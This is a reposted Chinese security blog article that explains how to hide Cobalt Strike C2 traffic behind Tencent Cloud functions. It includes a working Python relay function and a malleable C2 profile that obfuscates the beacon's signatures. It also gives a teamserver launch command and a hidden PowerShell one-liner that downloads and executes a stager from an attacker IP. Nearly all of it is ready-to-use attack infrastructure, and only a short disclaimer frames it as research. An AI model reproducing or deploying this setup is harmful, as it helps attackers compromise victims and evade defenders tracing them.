基于云函数的CS流量隐匿探讨

admin 2024年8月18日00:04:30评论26 views字数 3224阅读10分44秒阅读模式

前言

在前面的文章中已经有过利用云函数对扫描流量的隐匿探讨,今天就来小小进阶一下,对我们的cs上线流量进行隐匿

云函数介绍

云函数(Serverless Cloud Function,SCF)主要是为企业和开发者们提供的无服务器执行环境,可在无需购买和管理服务器的情况下运行代码。开发者只需使用平台支持的语言编写核心代码并设置代码运行的条件,即可在云基础设施上弹性、安全地运行代码。

利用云函数我们可以很好地隐藏自己,主要是因为云函数采用多地部署模式,每次请求都会切换不同的IP地址,虽然默认访问域名还是会被防守方获取到,但是一般情况下防守方无法根据API直接从腾讯云获取我们的个人信息。因此我们可以通过云函数的特性来隐藏CS服务端。

利用云函数实现隐匿真实

我们这里用腾讯云的云函数实现

https://console.cloud.tencent.com/scf/index?rid=1&ns=all

基于云函数的CS流量隐匿探讨

选择API服务

名字可以随便起,选中代码部分,将云函数代码粘贴进去,ip和端口改为自己teamserver服务器的公网ip和监听端口

# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
C2='https://ip:port' # 这里可以使用 HTTP、HTTPS~下角标~
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response
基于云函数的CS流量隐匿探讨

找到触发器,选择自定义,按照截图选择

基于云函数的CS流量隐匿探讨

点击完成后点击触发管理

基于云函数的CS流量隐匿探讨

点击API服务名

基于云函数的CS流量隐匿探讨

点击编辑

修改路径为/,点击立即完成

基于云函数的CS流量隐匿探讨

注意这个访问地址,一会需要用到红框内部分(即域名部分)

基于云函数的CS流量隐匿探讨
http://service-xxxxxx.gz.tencentapigw.com.cn:80
https://service-xxxxxx.gz.tencentapigw.com.cn:443

将kris.profile置于CS服务端根目录

set sample_name "kris_abao";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
set uri "/api/getit";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/postit";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}

stage {
set userwx "false";
set stomppe "true";
set obfuscate "true";
set name "srv.dll";
set cleanup "true";
set sleep_mask "true";

set checksum "0";
set compile_time "11 Nov 2016 04:08:32";
set entry_point "650688";
set image_size_x86 "4661248";
set image_size_x64 "4661248";
set rich_header "x3ex98xfex75x7axf9x90x26x7axf9x90x26x7axf9x90x26x73x81x03x26xfcxf9x90x26x17xa4x93x27x79xf9x90x26x7axf9x91x26x83xfdx90x26x17xa4x91x27x65xf9x90x26x17xa4x95x27x77xf9x90x26x17xa4x94x27x6cxf9x90x26x17xa4x9ex27x56xf8x90x26x17xa4x6fx26x7bxf9x90x26x17xa4x92x27x7bxf9x90x26x52x69x63x68x7axf9x90x26x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00";

transform-x86 {
prepend "x90x90x90x90x90x90x90x90x90";
strrep "ReflectiveLoader" "execute";
strrep "This program cannot be run in DOS mode" "";
strrep "beacon.dll" "";
}
transform-x64 {
prepend "x90x90x90x90x90x90x90x90x90";
strrep "ReflectiveLoader" "execute";
strrep "beacon.x64.dll" "";
}

stringw "jQuery";
}

带配置文件启动

./teamserver <ip> <password> ./kris.profile
基于云函数的CS流量隐匿探讨

监听器配置

登录CS之后,新建一个监听器,根据云函数中代码填写https则payload中选择Beacon HTTPS,HTTPS Hosts和HTTPS host均需填写云函数中公网的域名(上文中标及的红框部分),端口与云函数中代码的一致

有个坑点:

在云函数代码中,只有80和443,其他端口不行

是80就加HTTP监听,443加HTTPS监听

基于云函数的CS流量隐匿探讨

访问这个域名,看看Cs中有没有Web日志

基于云函数的CS流量隐匿探讨

看到有就没问题,接下来上线即可

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:80/a'))"

可以看到上线了

基于云函数的CS流量隐匿探讨
基于云函数的CS流量隐匿探讨
基于云函数的CS流量隐匿探讨

此时我们的IP是会不停变化的,说明成功了

也可以用JS的Profile

基于云函数的CS流量隐匿探讨

原文始发于微信公众号(CKCsec安全研究院):基于云函数的CS流量隐匿探讨

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月18日00:04:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   基于云函数的CS流量隐匿探讨https://cn-sec.com/archives/3075846.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息